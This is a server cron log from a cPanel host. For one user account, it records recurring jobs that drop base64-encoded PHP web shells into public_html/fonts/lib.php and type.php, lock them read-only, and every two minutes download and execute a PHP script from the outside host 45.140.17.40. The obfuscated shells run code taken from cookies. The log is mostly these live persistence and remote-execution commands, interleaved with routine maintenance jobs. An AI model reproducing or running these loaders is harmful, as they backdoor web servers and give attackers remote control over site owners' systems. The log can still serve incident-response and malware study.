Sep  2 19:05:02 ip-184-168-122-23 CROND[31225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:05:02 ip-184-168-122-23 CROND[31229]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 19:05:02 ip-184-168-122-23 CROND[31227]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:05:02 ip-184-168-122-23 CROND[31230]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 19:06:01 ip-184-168-122-23 CROND[31330]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:06:01 ip-184-168-122-23 CROND[31332]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 19:06:01 ip-184-168-122-23 CROND[31334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:06:01 ip-184-168-122-23 CROND[31335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:06:01 ip-184-168-122-23 CROND[31333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:07:01 ip-184-168-122-23 CROND[31439]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:07:01 ip-184-168-122-23 CROND[31441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:07:01 ip-184-168-122-23 CROND[31442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:07:01 ip-184-168-122-23 CROND[31443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:08:01 ip-184-168-122-23 CROND[31524]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:08:01 ip-184-168-122-23 CROND[31526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:08:01 ip-184-168-122-23 CROND[31528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:08:01 ip-184-168-122-23 CROND[31529]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 19:08:01 ip-184-168-122-23 CROND[31527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:09:01 ip-184-168-122-23 CROND[31711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:09:01 ip-184-168-122-23 CROND[31713]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:09:01 ip-184-168-122-23 CROND[31714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:09:01 ip-184-168-122-23 CROND[31717]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 19:09:01 ip-184-168-122-23 CROND[31718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:10:01 ip-184-168-122-23 CROND[31838]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 19:10:01 ip-184-168-122-23 CROND[31841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:10:01 ip-184-168-122-23 CROND[31844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:10:01 ip-184-168-122-23 CROND[31843]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 19:10:01 ip-184-168-122-23 CROND[31842]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:10:01 ip-184-168-122-23 CROND[31851]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 19:10:01 ip-184-168-122-23 CROND[31850]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:10:01 ip-184-168-122-23 CROND[31849]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 19:11:01 ip-184-168-122-23 CROND[31947]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:11:01 ip-184-168-122-23 CROND[31949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:11:01 ip-184-168-122-23 CROND[31950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:11:01 ip-184-168-122-23 CROND[31951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:12:01 ip-184-168-122-23 CROND[32041]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:12:01 ip-184-168-122-23 CROND[32043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:12:01 ip-184-168-122-23 CROND[32045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:12:01 ip-184-168-122-23 CROND[32042]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 19:12:01 ip-184-168-122-23 CROND[32046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:13:01 ip-184-168-122-23 CROND[32133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:13:01 ip-184-168-122-23 CROND[32132]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:13:01 ip-184-168-122-23 CROND[32134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:13:01 ip-184-168-122-23 CROND[32135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:14:01 ip-184-168-122-23 CROND[32260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:14:01 ip-184-168-122-23 CROND[32263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:14:01 ip-184-168-122-23 CROND[32265]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:14:01 ip-184-168-122-23 CROND[32268]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 19:14:01 ip-184-168-122-23 CROND[32270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:15:01 ip-184-168-122-23 CROND[32363]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:15:01 ip-184-168-122-23 CROND[32366]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 19:15:01 ip-184-168-122-23 CROND[32367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:15:01 ip-184-168-122-23 CROND[32368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:15:01 ip-184-168-122-23 CROND[32365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:15:01 ip-184-168-122-23 CROND[32369]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 19:16:01 ip-184-168-122-23 CROND[32456]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:16:01 ip-184-168-122-23 CROND[32458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:16:01 ip-184-168-122-23 CROND[32462]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 19:16:01 ip-184-168-122-23 CROND[32460]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 19:16:01 ip-184-168-122-23 CROND[32461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:16:01 ip-184-168-122-23 CROND[32463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:17:01 ip-184-168-122-23 CROND[32542]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:17:01 ip-184-168-122-23 CROND[32545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
